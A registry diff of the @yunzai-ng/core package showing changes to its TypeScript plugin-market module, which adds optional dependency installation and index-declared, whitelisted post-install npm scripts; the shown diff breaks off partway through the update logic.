@yunzai-ng/core 0.1.1 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/http/client.d.ts.map +1 -1
- package/dist/http/client.js +39 -3
- package/dist/http/client.js.map +1 -1
- package/dist/index.d.ts +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -0
- package/dist/index.js.map +1 -1
- package/dist/platform/paths.d.ts +10 -0
- package/dist/platform/paths.d.ts.map +1 -1
- package/dist/platform/paths.js +50 -7
- package/dist/platform/paths.js.map +1 -1
- package/dist/plugin/context.d.ts +3 -0
- package/dist/plugin/context.d.ts.map +1 -1
- package/dist/plugin/context.js +18 -2
- package/dist/plugin/context.js.map +1 -1
- package/dist/plugin/market.d.ts +119 -8
- package/dist/plugin/market.d.ts.map +1 -1
- package/dist/plugin/market.js +183 -22
- package/dist/plugin/market.js.map +1 -1
- package/dist/plugin/pm.d.ts +82 -0
- package/dist/plugin/pm.d.ts.map +1 -0
- package/dist/plugin/pm.js +129 -0
- package/dist/plugin/pm.js.map +1 -0
- package/dist/server/api.d.ts.map +1 -1
- package/dist/server/api.js +54 -5
- package/dist/server/api.js.map +1 -1
- package/dist/server/browse.d.ts.map +1 -1
- package/dist/server/browse.js +10 -2
- package/dist/server/browse.js.map +1 -1
- package/package.json +2 -2
- package/src/http/client.test.ts +75 -1
- package/src/http/client.ts +40 -3
- package/src/index.ts +1 -0
- package/src/platform/paths.test.ts +166 -0
- package/src/platform/paths.ts +52 -7
- package/src/plugin/context.test.ts +29 -1
- package/src/plugin/context.ts +18 -2
- package/src/plugin/market.test.ts +375 -2
- package/src/plugin/market.ts +278 -25
- package/src/plugin/pm.test.ts +73 -0
- package/src/plugin/pm.ts +163 -0
- package/src/server/api.test.ts +72 -2
- package/src/server/api.ts +65 -5
- package/src/server/browse.test.ts +18 -10
- package/src/server/browse.ts +11 -2
package/src/plugin/market.ts
CHANGED
|
@@ -9,16 +9,20 @@
|
|
|
9
9
|
* `joinWithin` 求值;两者任一不通过即拒绝,不做纠正后重试。
|
|
10
10
|
* 2) **先下载到临时目录,校验通过后再移入插件目录。** 中途失败时插件目录
|
|
11
11
|
* 保持原状,不会留下半个插件 —— 半个插件会在下次启动时被扫描到并加载失败。
|
|
12
|
-
* 3)
|
|
13
|
-
*
|
|
12
|
+
* 3) **跑包管理器要由调用方逐次明说(`opts.dependencies`),本模块不擅自决定。**
|
|
13
|
+
* 但那不是一道新的信任边界:插件的入口下一秒就会被 `import()` 进本进程,
|
|
14
|
+
* 与 install 脚本同属一道门。故缺省不跑的理由只是「别在使用者没预期时占用
|
|
15
|
+
* 十分钟网络」,而非安全 —— 面板据此在确认框里明说,然后一并请求。
|
|
14
16
|
* 4) **索引为不可信输入。** 逐字段校验类型,缺字段的条目整条丢弃而非补默认值:
|
|
15
17
|
* 索引写错时应当表现为"该插件不出现在列表里",而不是出现一个装不上的条目。
|
|
18
|
+
* `setup.scripts` 里的名字要拼进命令行,另有一道白名单,见 `pm.ts`。
|
|
16
19
|
*/
|
|
17
20
|
import { execFile } from "node:child_process"
|
|
18
21
|
import { cp, mkdir, mkdtemp, readFile, rename, rm, writeFile } from "node:fs/promises"
|
|
19
22
|
import { dirname, join } from "node:path"
|
|
20
23
|
import type { HttpClient, Logger } from "@yunzai-ng/types"
|
|
21
24
|
import { isDirectory, isFile } from "../util/fs.js"
|
|
25
|
+
import { INSTALL_TIMEOUT_MS, SCRIPT_TIMEOUT_MS, isScriptName, runPm, type PmRunner } from "./pm.js"
|
|
22
26
|
import { extractTarGz, joinWithin, singleRoot } from "./tar.js"
|
|
23
27
|
|
|
24
28
|
/** 合法插件名:字母或数字开头,其余可含字母、数字、点、下划线与连字符 */
|
|
@@ -55,6 +59,34 @@ export interface MarketInstallSpec {
|
|
|
55
59
|
readonly branch?: string
|
|
56
60
|
}
|
|
57
61
|
|
|
62
|
+
/**
|
|
63
|
+
* 装后步骤:装完依赖之后还要跑哪些 npm script
|
|
64
|
+
*
|
|
65
|
+
* 由索引声明而非读插件的 package.json:`scripts` 里有的是开发用的(`test`、`lint`),
|
|
66
|
+
* 有的是幂等的(`build`),有的会下载上百兆(`install:browser`),从名字分不出该跑哪些。
|
|
67
|
+
* 索引是**经审核的**那一份事实,故把「该跑什么」放在这里。
|
|
68
|
+
*
|
|
69
|
+
* 名字要拼进命令行,逐个过 `pm.ts` 的白名单;不合法的整条 `setup` 丢弃 —— 只丢那一个名字
|
|
70
|
+
* 会得到一份「跑了一半」的装后步骤,而使用者无从知道少跑了哪个。
|
|
71
|
+
*/
|
|
72
|
+
export interface MarketSetupSpec {
|
|
73
|
+
/**
|
|
74
|
+
* 依次要跑的 script 名
|
|
75
|
+
*
|
|
76
|
+
* 顺序即依赖关系(先 `build` 再 `install:browser`),故按序执行、**一个失败即停** ——
|
|
77
|
+
* 后一个多半建立在前一个的产物上,继续跑只会得到第二条更难懂的错误。
|
|
78
|
+
*/
|
|
79
|
+
readonly scripts: readonly string[]
|
|
80
|
+
/**
|
|
81
|
+
* 装依赖时是否连 devDependencies 一起装
|
|
82
|
+
*
|
|
83
|
+
* 从源码装、要靠 `build` 出产物的插件必须为真:编译器在 devDependencies 里,
|
|
84
|
+
* `--prod` 装出来的目录跑 `build` 会报「找不到 tsc」,离真实原因很远。
|
|
85
|
+
* 缺省为真 —— 声明了 `setup` 就意味着有装后步骤要跑,而那多半需要开发依赖。
|
|
86
|
+
*/
|
|
87
|
+
readonly dev: boolean
|
|
88
|
+
}
|
|
89
|
+
|
|
58
90
|
/** 索引中的一个插件条目 */
|
|
59
91
|
export interface MarketEntry {
|
|
60
92
|
/** 插件名,同时是安装目录名与配置文件名 */
|
|
@@ -77,6 +109,13 @@ export interface MarketEntry {
|
|
|
77
109
|
readonly minCore?: string
|
|
78
110
|
/** 安装来源 */
|
|
79
111
|
readonly install: MarketInstallSpec
|
|
112
|
+
/**
|
|
113
|
+
* 装后步骤,缺省即「装完依赖就算完」
|
|
114
|
+
*
|
|
115
|
+
* 声明在索引里而非插件的 package.json 里:装后步骤要在**取到内容之前**就能让面板
|
|
116
|
+
* 说清「这次会跑什么」,而 package.json 要等下载完才读得到。
|
|
117
|
+
*/
|
|
118
|
+
readonly setup?: MarketSetupSpec
|
|
80
119
|
/** 该条目来自哪个索引地址 */
|
|
81
120
|
readonly source: string
|
|
82
121
|
}
|
|
@@ -120,8 +159,55 @@ export interface MarketSnapshot {
|
|
|
120
159
|
*/
|
|
121
160
|
export type InstallVia = MarketInstallSpec["type"] | "pull"
|
|
122
161
|
|
|
162
|
+
/**
|
|
163
|
+
* 一次「装依赖 + 跑装后步骤」的结果
|
|
164
|
+
*
|
|
165
|
+
* 与安装结果分开成型,因为这一步可以单独发起(面板的「装依赖并编译」):那时没有
|
|
166
|
+
* 取源方式,也没有「此后如何更新」可言。安装结果把它整个并进去。
|
|
167
|
+
*/
|
|
168
|
+
export interface SetupOutcome {
|
|
169
|
+
/** 是否声明了运行时依赖且尚未安装 */
|
|
170
|
+
readonly needsDependencies: boolean
|
|
171
|
+
/**
|
|
172
|
+
* 本次是否确实跑了包管理器装依赖
|
|
173
|
+
*
|
|
174
|
+
* 与 `needsDependencies` 分开:后者说的是「还缺不缺」,这一项说的是「刚才做了什么」。
|
|
175
|
+
* 两者都为假的常见情形是目录里本就有 `node_modules` —— 那时既没装、也不缺。
|
|
176
|
+
*/
|
|
177
|
+
readonly installedDeps?: boolean
|
|
178
|
+
/** 用的是哪个包管理器,仅在确实装过或跑过 script 时存在 */
|
|
179
|
+
readonly packageManager?: string
|
|
180
|
+
/**
|
|
181
|
+
* 装依赖失败的原因
|
|
182
|
+
*
|
|
183
|
+
* **装依赖失败不让整次安装失败**:插件目录已经就位,缺的只是依赖,向上抛会让使用者
|
|
184
|
+
* 以为「什么都没装成」而去重装,而重装同样会在这一步失败。故记在这里由面板说明。
|
|
185
|
+
*/
|
|
186
|
+
readonly dependencyError?: string
|
|
187
|
+
/** 实际跑完的装后 script,按执行顺序 */
|
|
188
|
+
readonly ranScripts?: readonly string[]
|
|
189
|
+
/**
|
|
190
|
+
* 装后步骤失败的原因,附带失败在哪个 script 上
|
|
191
|
+
*
|
|
192
|
+
* 与 `dependencyError` 分开两个字段而非合成一个:两者的后手完全不同 —— 缺依赖是
|
|
193
|
+
* 去目录里执行包管理器,缺产物是去执行那个 script,而合成一个之后面板只能给出
|
|
194
|
+
* 一句两头都不准的提示。
|
|
195
|
+
*/
|
|
196
|
+
readonly setupError?: string
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
/** 单独发起一次装依赖与装后步骤的结果 */
|
|
200
|
+
export interface PluginSetupResult extends SetupOutcome {
|
|
201
|
+
/** 插件名 */
|
|
202
|
+
readonly name: string
|
|
203
|
+
/** 插件目录 */
|
|
204
|
+
readonly dir: string
|
|
205
|
+
/** package.json 里声明的版本,读不到时 `0.0.0` */
|
|
206
|
+
readonly version: string
|
|
207
|
+
}
|
|
208
|
+
|
|
123
209
|
/** 一次安装的结果 */
|
|
124
|
-
export interface InstallResult {
|
|
210
|
+
export interface InstallResult extends SetupOutcome {
|
|
125
211
|
/** 插件名 */
|
|
126
212
|
readonly name: string
|
|
127
213
|
/** 安装目录 */
|
|
@@ -130,8 +216,6 @@ export interface InstallResult {
|
|
|
130
216
|
readonly via: InstallVia
|
|
131
217
|
/** package.json 中声明的版本;无 package.json 时为索引声明的版本 */
|
|
132
218
|
readonly version: string
|
|
133
|
-
/** 是否声明了运行时依赖且尚未安装 */
|
|
134
|
-
readonly needsDependencies: boolean
|
|
135
219
|
/**
|
|
136
220
|
* 就地拉取时的旧版本号,仅 `via` 为 `pull` 时存在
|
|
137
221
|
*
|
|
@@ -204,6 +288,8 @@ export interface MarketDeps {
|
|
|
204
288
|
readonly coreVersion: string
|
|
205
289
|
/** 执行 git 命令,缺省调用本机的 git */
|
|
206
290
|
readonly git?: GitRunner
|
|
291
|
+
/** 执行包管理器,缺省调用本机的 pnpm / npm,见 `pm.ts` */
|
|
292
|
+
readonly pm?: PmRunner
|
|
207
293
|
}
|
|
208
294
|
|
|
209
295
|
/**
|
|
@@ -308,15 +394,47 @@ function parseInstall(raw: unknown): MarketInstallSpec | undefined {
|
|
|
308
394
|
return { type, url, ...(branch === undefined ? {} : { branch }) }
|
|
309
395
|
}
|
|
310
396
|
|
|
397
|
+
/**
|
|
398
|
+
* 解析装后步骤
|
|
399
|
+
*
|
|
400
|
+
* **一个名字不合法就整条丢弃,不做过滤后继续。** 过滤会得到一份「跑了一半」的装后
|
|
401
|
+
* 步骤:使用者看到装成功了,而实际少跑了 `build`,插件在加载时才报一条与原因无关的错。
|
|
402
|
+
* 整条丢弃则退回既有行为(只装依赖、并提示需自行处理),那是可理解的。
|
|
403
|
+
*
|
|
404
|
+
* `scripts` 为空数组也返回 undefined:声明了一个不跑任何东西的装后步骤,与没声明
|
|
405
|
+
* 是同一个意思,而留着它会让面板的确认框多出一句「将执行以下步骤:」后面跟着空白。
|
|
406
|
+
* @param raw 条目中的 `setup` 字段
|
|
407
|
+
* @param name 插件名,仅用于告警
|
|
408
|
+
* @param logger 日志器,用于说明为何丢弃
|
|
409
|
+
* @returns 装后步骤;字段缺失或不合法时 undefined
|
|
410
|
+
*/
|
|
411
|
+
function parseSetup(raw: unknown, name: string, logger?: Logger): MarketSetupSpec | undefined {
|
|
412
|
+
if (typeof raw !== "object" || raw === null) return undefined
|
|
413
|
+
const record = raw as Record<string, unknown>
|
|
414
|
+
if (!Array.isArray(record.scripts)) return undefined
|
|
415
|
+
const scripts: string[] = []
|
|
416
|
+
for (const item of record.scripts) {
|
|
417
|
+
if (typeof item !== "string" || !isScriptName(item)) {
|
|
418
|
+
logger?.warn(`插件 ${name} 的索引里 setup.scripts 含不合法的 script 名,已忽略整个装后步骤`)
|
|
419
|
+
return undefined
|
|
420
|
+
}
|
|
421
|
+
scripts.push(item)
|
|
422
|
+
}
|
|
423
|
+
if (scripts.length === 0) return undefined
|
|
424
|
+
// 缺省连 devDependencies 一起装:声明了装后步骤就意味着有东西要跑,而那多半要编译器
|
|
425
|
+
return { scripts, dev: record.dev !== false }
|
|
426
|
+
}
|
|
427
|
+
|
|
311
428
|
/**
|
|
312
429
|
* 把一条索引记录解析为条目
|
|
313
430
|
*
|
|
314
431
|
* 任一必填字段不合法即返回 undefined,由调用方整条丢弃。
|
|
315
432
|
* @param raw 索引记录
|
|
316
433
|
* @param source 该记录所属的索引地址
|
|
434
|
+
* @param logger 日志器,供 `setup` 不合法时说明
|
|
317
435
|
* @returns 条目;记录不合法时 undefined
|
|
318
436
|
*/
|
|
319
|
-
function parseEntry(raw: unknown, source: string): MarketEntry | undefined {
|
|
437
|
+
function parseEntry(raw: unknown, source: string, logger?: Logger): MarketEntry | undefined {
|
|
320
438
|
if (typeof raw !== "object" || raw === null) return undefined
|
|
321
439
|
const record = raw as Record<string, unknown>
|
|
322
440
|
const name = text(record, "name")
|
|
@@ -328,6 +446,7 @@ function parseEntry(raw: unknown, source: string): MarketEntry | undefined {
|
|
|
328
446
|
const version = text(record, "version")
|
|
329
447
|
const homepage = text(record, "homepage")
|
|
330
448
|
const minCore = text(record, "minCore")
|
|
449
|
+
const setup = parseSetup(record.setup, name, logger)
|
|
331
450
|
return {
|
|
332
451
|
name,
|
|
333
452
|
title: text(record, "title") ?? name,
|
|
@@ -336,6 +455,7 @@ function parseEntry(raw: unknown, source: string): MarketEntry | undefined {
|
|
|
336
455
|
official: record.official === true,
|
|
337
456
|
install,
|
|
338
457
|
source,
|
|
458
|
+
...(setup === undefined ? {} : { setup }),
|
|
339
459
|
...(author === undefined ? {} : { author }),
|
|
340
460
|
...(version === undefined ? {} : { version }),
|
|
341
461
|
...(homepage === undefined ? {} : { homepage }),
|
|
@@ -350,10 +470,11 @@ function parseEntry(raw: unknown, source: string): MarketEntry | undefined {
|
|
|
350
470
|
* 数组挂到静态文件服务上作为私有源。
|
|
351
471
|
* @param raw 已解析的 JSON
|
|
352
472
|
* @param source 索引地址
|
|
473
|
+
* @param logger 日志器,供条目里的 `setup` 不合法时说明;不给则静默丢弃
|
|
353
474
|
* @returns 合法条目列表
|
|
354
475
|
* @throws 文档既不是数组也不含 `plugins` 数组时
|
|
355
476
|
*/
|
|
356
|
-
export function parseIndex(raw: unknown, source: string): MarketEntry[] {
|
|
477
|
+
export function parseIndex(raw: unknown, source: string, logger?: Logger): MarketEntry[] {
|
|
357
478
|
const list = Array.isArray(raw)
|
|
358
479
|
? raw
|
|
359
480
|
: typeof raw === "object" && raw !== null && Array.isArray((raw as { plugins?: unknown }).plugins)
|
|
@@ -362,7 +483,7 @@ export function parseIndex(raw: unknown, source: string): MarketEntry[] {
|
|
|
362
483
|
if (list === undefined) throw new Error("索引格式不符:期望数组或含 plugins 数组的对象")
|
|
363
484
|
const entries: MarketEntry[] = []
|
|
364
485
|
for (const item of list) {
|
|
365
|
-
const entry = parseEntry(item, source)
|
|
486
|
+
const entry = parseEntry(item, source, logger)
|
|
366
487
|
if (entry !== undefined) entries.push(entry)
|
|
367
488
|
}
|
|
368
489
|
return entries
|
|
@@ -431,12 +552,16 @@ export class PluginMarket {
|
|
|
431
552
|
/** 执行 git 命令,未注入时调用本机 git */
|
|
432
553
|
readonly #git: GitRunner
|
|
433
554
|
|
|
555
|
+
/** 执行包管理器,未注入时调用本机的 pnpm / npm */
|
|
556
|
+
readonly #pm: PmRunner
|
|
557
|
+
|
|
434
558
|
/**
|
|
435
559
|
* @param deps 依赖
|
|
436
560
|
*/
|
|
437
561
|
constructor(deps: MarketDeps) {
|
|
438
562
|
this.#deps = deps
|
|
439
563
|
this.#git = deps.git ?? runGit
|
|
564
|
+
this.#pm = deps.pm ?? runPm
|
|
440
565
|
}
|
|
441
566
|
|
|
442
567
|
/**
|
|
@@ -515,7 +640,7 @@ export class PluginMarket {
|
|
|
515
640
|
timeout,
|
|
516
641
|
retry: 1
|
|
517
642
|
})
|
|
518
|
-
const entries = parseIndex(raw, url)
|
|
643
|
+
const entries = parseIndex(raw, url, this.#deps.logger)
|
|
519
644
|
for (const item of entries) if (!merged.has(item.name)) merged.set(item.name, item)
|
|
520
645
|
results.push({ url, ok: true, count: entries.length })
|
|
521
646
|
} catch (err) {
|
|
@@ -590,16 +715,23 @@ export class PluginMarket {
|
|
|
590
715
|
/**
|
|
591
716
|
* 安装一个插件
|
|
592
717
|
*
|
|
593
|
-
*
|
|
594
|
-
*
|
|
595
|
-
*
|
|
718
|
+
* 取源与校验在临时目录内完成,仅在校验通过后才移入插件目录,因此**取源**失败时插件
|
|
719
|
+
* 目录保持原状。装依赖与装后步骤在移入之后、于插件目录内进行 —— 不在临时目录里做完
|
|
720
|
+
* 再整体搬过去:pnpm 的 `node_modules` 里全是指向 store 的符号链接,换个路径就断,
|
|
721
|
+
* 而断掉的表现是加载时报找不到模块,离「我搬过了目录」很远。
|
|
722
|
+
*
|
|
723
|
+
* 代价是这一步失败会留下一个「装好了但缺依赖」的目录。那是可说清的状态(见返回值的
|
|
724
|
+
* `needsDependencies` 与 `setupError`),比一个链接全断的目录好收拾。
|
|
725
|
+
*
|
|
726
|
+
* 安装完成后不加载插件:加载时机由调用方决定。
|
|
596
727
|
* @param name 插件名
|
|
597
728
|
* @param opts 可选参数
|
|
598
729
|
* @param opts.replace 目标已存在时先删除再安装
|
|
730
|
+
* @param opts.dependencies 装完之后跑包管理器装依赖,并按索引声明跑装后步骤
|
|
599
731
|
* @returns 安装结果
|
|
600
732
|
* @throws 名称不合法、索引中无此插件、内核版本不满足、目标已存在或取源失败时
|
|
601
733
|
*/
|
|
602
|
-
async install(name: string, opts: { replace?: boolean } = {}): Promise<InstallResult> {
|
|
734
|
+
async install(name: string, opts: { replace?: boolean; dependencies?: boolean } = {}): Promise<InstallResult> {
|
|
603
735
|
assertPluginName(name)
|
|
604
736
|
const entry = await this.entry(name)
|
|
605
737
|
if (entry === undefined) throw new Error(`插件市场中没有名为 ${name} 的插件`)
|
|
@@ -617,19 +749,129 @@ export class PluginMarket {
|
|
|
617
749
|
await this.#assertLooksLikePlugin(root, name)
|
|
618
750
|
const manifest = await this.#manifest(root)
|
|
619
751
|
const version = manifest?.version ?? entry.version ?? "0.0.0"
|
|
620
|
-
const needsDependencies = Object.keys(manifest?.dependencies ?? {}).length > 0 && !(await isDirectory(join(root, "node_modules")))
|
|
621
752
|
if (exists) await rm(target, { recursive: true, force: true })
|
|
622
753
|
await mkdir(this.#deps.pluginsDir, { recursive: true })
|
|
623
754
|
await this.#move(root, target)
|
|
624
755
|
this.#deps.logger.info(`插件 ${name}@${version} 已安装至 ${target}`)
|
|
625
|
-
if (needsDependencies) this.#deps.logger.warn(`插件 ${name} 声明了运行时依赖,需在其目录内自行执行包管理器安装`)
|
|
626
756
|
// 带 `.git` 的目录此后可就地拉取;归档装出来的每次更新都要整目录重下
|
|
627
|
-
|
|
757
|
+
const updatable = via === "git" ? "pull" : "reinstall"
|
|
758
|
+
const done = await this.#finish(name, target, manifest, entry.setup, opts.dependencies === true)
|
|
759
|
+
return { name, dir: target, via, version, updatable, ...done }
|
|
628
760
|
} finally {
|
|
629
761
|
await rm(staging, { recursive: true, force: true })
|
|
630
762
|
}
|
|
631
763
|
}
|
|
632
764
|
|
|
765
|
+
/**
|
|
766
|
+
* 收尾:按需装依赖、跑装后步骤
|
|
767
|
+
*
|
|
768
|
+
* **失败不向上抛。** 插件目录已经就位,缺的只是依赖或产物;抛出去会让使用者以为
|
|
769
|
+
* 「什么都没装成」而去重装,而重装同样会在这一步失败。故把原因记进返回值,由面板说明。
|
|
770
|
+
*
|
|
771
|
+
* 顺序是「先装依赖再跑脚本」,且装依赖失败就不跑脚本:脚本多半建立在依赖之上
|
|
772
|
+
* (`build` 要编译器),接着跑只会得到第二条更难懂的错误。
|
|
773
|
+
* @param name 插件名
|
|
774
|
+
* @param dir 插件目录
|
|
775
|
+
* @param manifest package.json 里的相关字段
|
|
776
|
+
* @param setup 索引声明的装后步骤
|
|
777
|
+
* @param wanted 调用方是否要求跑包管理器
|
|
778
|
+
* @param always 依赖不缺、也没有装后步骤时是否仍跑一遍装依赖
|
|
779
|
+
* @returns 结果中与依赖、装后步骤相关的那几项
|
|
780
|
+
*/
|
|
781
|
+
async #finish(
|
|
782
|
+
name: string,
|
|
783
|
+
dir: string,
|
|
784
|
+
manifest: { dependencies?: Record<string, string> } | undefined,
|
|
785
|
+
setup: MarketSetupSpec | undefined,
|
|
786
|
+
wanted: boolean,
|
|
787
|
+
always = false
|
|
788
|
+
): Promise<SetupOutcome> {
|
|
789
|
+
const declared = Object.keys(manifest?.dependencies ?? {}).length > 0
|
|
790
|
+
/*
|
|
791
|
+
* 「声明了依赖」与「还缺依赖」是两件事
|
|
792
|
+
*
|
|
793
|
+
* 就地拉取那条路上目录里往往已有一份 `node_modules`,此时 declared 为真而并不缺依赖。
|
|
794
|
+
* 判据取「目录里有没有 node_modules」——「旧的够不够新」要比对 lock 文件,本模块无从判断。
|
|
795
|
+
*/
|
|
796
|
+
const missing = declared && !(await isDirectory(join(dir, "node_modules")))
|
|
797
|
+
|
|
798
|
+
/*
|
|
799
|
+
* 声明了装后步骤就得跑,哪怕依赖不缺
|
|
800
|
+
*
|
|
801
|
+
* `build` 的产物在 `dist/`,而那一层多半被插件仓库 `.gitignore` 掉了 —— 就地拉取拉来
|
|
802
|
+
* 新提交之后,`node_modules` 还在(故 missing 为假)而 `dist/` 已经是旧的。此时跳过
|
|
803
|
+
* 装后步骤,插件跑的就还是上一版的代码,且毫无迹象。
|
|
804
|
+
*/
|
|
805
|
+
const wants = wanted && (missing || setup !== undefined || always)
|
|
806
|
+
if (!wants) {
|
|
807
|
+
if (missing) this.#deps.logger.warn(`插件 ${name} 声明了运行时依赖,需在其目录内自行执行包管理器安装`)
|
|
808
|
+
return { needsDependencies: missing }
|
|
809
|
+
}
|
|
810
|
+
|
|
811
|
+
/*
|
|
812
|
+
* 压根没声明依赖的插件不跑包管理器
|
|
813
|
+
*
|
|
814
|
+
* 单文件插件与零依赖插件都属此列。对着一个没有 package.json 的目录跑 `pnpm install`
|
|
815
|
+
* 会得到一条与插件无关的报错(pnpm 找不到 lock 也找不到清单),而使用者点的按钮
|
|
816
|
+
* 叫「装依赖并编译」—— 那条报错只会让人以为插件坏了。
|
|
817
|
+
*/
|
|
818
|
+
if (!declared && setup === undefined) return { needsDependencies: false }
|
|
819
|
+
|
|
820
|
+
let pm: string
|
|
821
|
+
try {
|
|
822
|
+
// 有装后步骤时连 devDependencies 一起装:`build` 要的编译器在那里,见 pm.ts 文件头
|
|
823
|
+
pm = await this.#pm({ kind: "install", dev: setup?.dev === true }, dir, INSTALL_TIMEOUT_MS)
|
|
824
|
+
this.#deps.logger.info(`插件 ${name} 的依赖已由 ${pm} 装好`)
|
|
825
|
+
} catch (err) {
|
|
826
|
+
const error = err instanceof Error ? err.message : String(err)
|
|
827
|
+
this.#deps.logger.error(`插件 ${name} 的依赖安装失败:${error}。请在 ${dir} 目录内自行执行包管理器`)
|
|
828
|
+
// 记 `dependencyError` 而非 `setupError`:两者的后手不同,见 SetupOutcome 的注释
|
|
829
|
+
return { needsDependencies: true, installedDeps: false, dependencyError: error }
|
|
830
|
+
}
|
|
831
|
+
|
|
832
|
+
const ranScripts: string[] = []
|
|
833
|
+
for (const script of setup?.scripts ?? []) {
|
|
834
|
+
try {
|
|
835
|
+
await this.#pm({ kind: "run", script }, dir, SCRIPT_TIMEOUT_MS)
|
|
836
|
+
ranScripts.push(script)
|
|
837
|
+
this.#deps.logger.info(`插件 ${name} 的装后步骤 ${script} 已执行`)
|
|
838
|
+
} catch (err) {
|
|
839
|
+
const error = err instanceof Error ? err.message : String(err)
|
|
840
|
+
this.#deps.logger.error(`插件 ${name} 的装后步骤 ${script} 失败:${error}。请在 ${dir} 目录内自行执行 ${pm} run ${script}`)
|
|
841
|
+
return { needsDependencies: false, installedDeps: true, packageManager: pm, ranScripts, setupError: `${script}:${error}` }
|
|
842
|
+
}
|
|
843
|
+
}
|
|
844
|
+
return { needsDependencies: false, installedDeps: true, packageManager: pm, ranScripts }
|
|
845
|
+
}
|
|
846
|
+
|
|
847
|
+
/**
|
|
848
|
+
* 对一个已装好的插件重跑装依赖与装后步骤,不重新取源
|
|
849
|
+
*
|
|
850
|
+
* 三种情形要用到:**手工放进插件目录的插件**(压根没有安装动作可挂)、装的时候这一步
|
|
851
|
+
* 失败过、以及使用者自己 `git pull` 过而 `dist/` 已旧。
|
|
852
|
+
*
|
|
853
|
+
* **索引里没有这个插件也照做。** 手工放进去的插件多半不在任何索引里,此时只装依赖、
|
|
854
|
+
* 不跑装后步骤(无从知道该跑什么)—— 那仍然解决了「装了却缺依赖」这个主要情形。
|
|
855
|
+
* 拿不到条目就拒绝会让这个按钮恰在最需要它的场合失效。
|
|
856
|
+
*
|
|
857
|
+
* **即便不缺依赖也跑一次。** 使用者点这个按钮,多半正是因为 `package.json` 的依赖
|
|
858
|
+
* 变过而 `node_modules` 是旧的 —— 那种「旧」从目录存不存在上看不出来,而包管理器
|
|
859
|
+
* 自己比对 lock 文件本就是幂等的。
|
|
860
|
+
* @param name 插件名
|
|
861
|
+
* @returns 本次的结果
|
|
862
|
+
* @throws 名称不合法或插件目录不存在时
|
|
863
|
+
*/
|
|
864
|
+
async setup(name: string): Promise<PluginSetupResult> {
|
|
865
|
+
assertPluginName(name)
|
|
866
|
+
const dir = joinWithin(this.#deps.pluginsDir, name)
|
|
867
|
+
if (!(await isDirectory(dir))) throw new Error(`插件目录 ${name} 不存在`)
|
|
868
|
+
const manifest = await this.#manifest(dir)
|
|
869
|
+
// 索引取不到不算失败,见方法头
|
|
870
|
+
const entry = await this.entry(name).catch(() => undefined)
|
|
871
|
+
const done = await this.#finish(name, dir, manifest, entry?.setup, true, true)
|
|
872
|
+
return { name, dir, version: manifest?.version ?? "0.0.0", ...done }
|
|
873
|
+
}
|
|
874
|
+
|
|
633
875
|
/**
|
|
634
876
|
* 卸载一个插件
|
|
635
877
|
*
|
|
@@ -650,10 +892,12 @@ export class PluginMarket {
|
|
|
650
892
|
/**
|
|
651
893
|
* 更新一个插件:目录已是 git 仓库时就地拉取,否则退回重新安装
|
|
652
894
|
* @param name 插件名
|
|
895
|
+
* @param opts 可选参数
|
|
896
|
+
* @param opts.dependencies 更新完之后跑包管理器装依赖,并按索引声明跑装后步骤
|
|
653
897
|
* @returns 安装结果
|
|
654
898
|
* @throws 与 `install` 相同;就地拉取失败时抛出 git 的错误
|
|
655
899
|
*/
|
|
656
|
-
async update(name: string): Promise<InstallResult> {
|
|
900
|
+
async update(name: string, opts: { dependencies?: boolean } = {}): Promise<InstallResult> {
|
|
657
901
|
/*
|
|
658
902
|
* 优先就地拉取,因为重新安装会删掉目录里那份 `node_modules`
|
|
659
903
|
*
|
|
@@ -666,19 +910,20 @@ export class PluginMarket {
|
|
|
666
910
|
*/
|
|
667
911
|
assertPluginName(name)
|
|
668
912
|
const target = joinWithin(this.#deps.pluginsDir, name)
|
|
669
|
-
const pulled = await this.#tryPull(name, target)
|
|
670
|
-
return pulled ?? this.install(name, { replace: true })
|
|
913
|
+
const pulled = await this.#tryPull(name, target, opts.dependencies === true)
|
|
914
|
+
return pulled ?? this.install(name, { replace: true, ...opts })
|
|
671
915
|
}
|
|
672
916
|
|
|
673
917
|
/**
|
|
674
918
|
* 试着就地拉取一个插件
|
|
675
919
|
* @param name 插件名
|
|
676
920
|
* @param dir 插件安装目录
|
|
921
|
+
* @param dependencies 拉完之后按需装依赖、跑装后步骤
|
|
677
922
|
* @returns 拉取结果;不具备就地拉取条件(无 git、目录不是仓库、来源不是 git)时 undefined
|
|
678
923
|
* @throws 拉取过程本身失败时 —— 那意味着网络或仓库状态有问题,此时退回重新安装会把一次
|
|
679
924
|
* 可修复的失败变成一次目录删除
|
|
680
925
|
*/
|
|
681
|
-
async #tryPull(name: string, dir: string): Promise<InstallResult | undefined> {
|
|
926
|
+
async #tryPull(name: string, dir: string, dependencies: boolean): Promise<InstallResult | undefined> {
|
|
682
927
|
/*
|
|
683
928
|
* 两处刻意的做法
|
|
684
929
|
*
|
|
@@ -730,23 +975,31 @@ export class PluginMarket {
|
|
|
730
975
|
const changed = nowAt !== wasAt
|
|
731
976
|
const manifest = await this.#manifest(dir)
|
|
732
977
|
const version = manifest?.version ?? entry.version ?? "0.0.0"
|
|
733
|
-
const needsDependencies =
|
|
734
|
-
Object.keys(manifest?.dependencies ?? {}).length > 0 && !(await isDirectory(join(dir, "node_modules")))
|
|
735
978
|
|
|
736
979
|
if (changed) this.#deps.logger.info(`插件 ${name} 已就地更新至 ${version}(${wasAt.slice(0, 7)} → ${nowAt.slice(0, 7)})`)
|
|
737
980
|
else this.#deps.logger.info(`插件 ${name} 已是最新版本 ${version}`)
|
|
738
|
-
|
|
981
|
+
|
|
982
|
+
/*
|
|
983
|
+
* 远端没有新提交、且依赖不缺时不跑收尾
|
|
984
|
+
*
|
|
985
|
+
* 那一次「更新」什么都没改,重跑 `build` 只是白等一遍编译,而 `install:browser`
|
|
986
|
+
* 那类装后步骤更可能去重下一份运行时。缺依赖是例外 —— 那与有没有新提交无关,
|
|
987
|
+
* 使用者点这一下要的就是把它补齐。
|
|
988
|
+
*/
|
|
989
|
+
const missing =
|
|
990
|
+
Object.keys(manifest?.dependencies ?? {}).length > 0 && !(await isDirectory(join(dir, "node_modules")))
|
|
991
|
+
const done = await this.#finish(name, dir, manifest, entry.setup, dependencies && (changed || missing))
|
|
739
992
|
|
|
740
993
|
return {
|
|
741
994
|
name,
|
|
742
995
|
dir,
|
|
743
